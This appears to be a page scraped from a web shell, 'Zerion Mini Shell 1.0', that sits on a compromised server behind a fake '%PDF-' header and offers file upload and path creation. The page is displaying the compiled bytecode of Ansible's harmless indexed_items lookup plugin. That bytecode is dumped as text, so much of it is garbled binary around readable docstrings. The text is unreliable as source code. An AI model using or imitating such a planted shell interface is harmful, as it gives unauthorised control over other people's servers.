%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/plugins/lookup/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/plugins/lookup/__pycache__/indexed_items.cpython-39.pyc

a

�)g1�@sPddlmZmZmZeZdZdZdZddl	m
Z
ddlmZGdd�de�Z
d	S)
�)�absolute_import�division�print_functiona�
    name: indexed_items
    author: Michael DeHaan
    version_added: "1.3"
    short_description: rewrites lists to return 'indexed items'
    description:
      - use this lookup if you want to loop over an array and also get the numeric index of where you are in the array as you go
      - any list given will be transformed with each resulting element having the it's previous position in item.0 and its value in item.1
    options:
      _terms:
        description: list of items
        required: True
z�
- name: indexed loop demo
  ansible.builtin.debug:
    msg: "at array position {{ item.0 }} there is a value {{ item.1 }}"
  with_indexed_items:
    - "{{ some_list }}"
z�
  _raw:
    description:
      - list with each item.0 giving you the position and item.1 the value
    type: list
    elements: list
)�AnsibleError)�
LookupBasec@seZdZddd�Zdd�ZdS)�LookupModuleNcKs
||_dS)N)�basedir)�selfr�kwargs�r�H/usr/lib/python3.9/site-packages/ansible/plugins/lookup/indexed_items.py�__init__+szLookupModule.__init__cKs2t|t�std��|�|�}tttt|��|��S)Nz!with_indexed_items expects a list)�
isinstance�listrZ_flatten�zip�range�len)r	ZtermsZ	variablesr
�itemsrrr�run.s

zLookupModule.run)N)�__name__�
__module__�__qualname__r
rrrrrr)s
rN)Z
__future__rrr�typeZ
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNZansible.errorsrZansible.plugins.lookuprrrrrr�<module>s

Zerion Mini Shell 1.0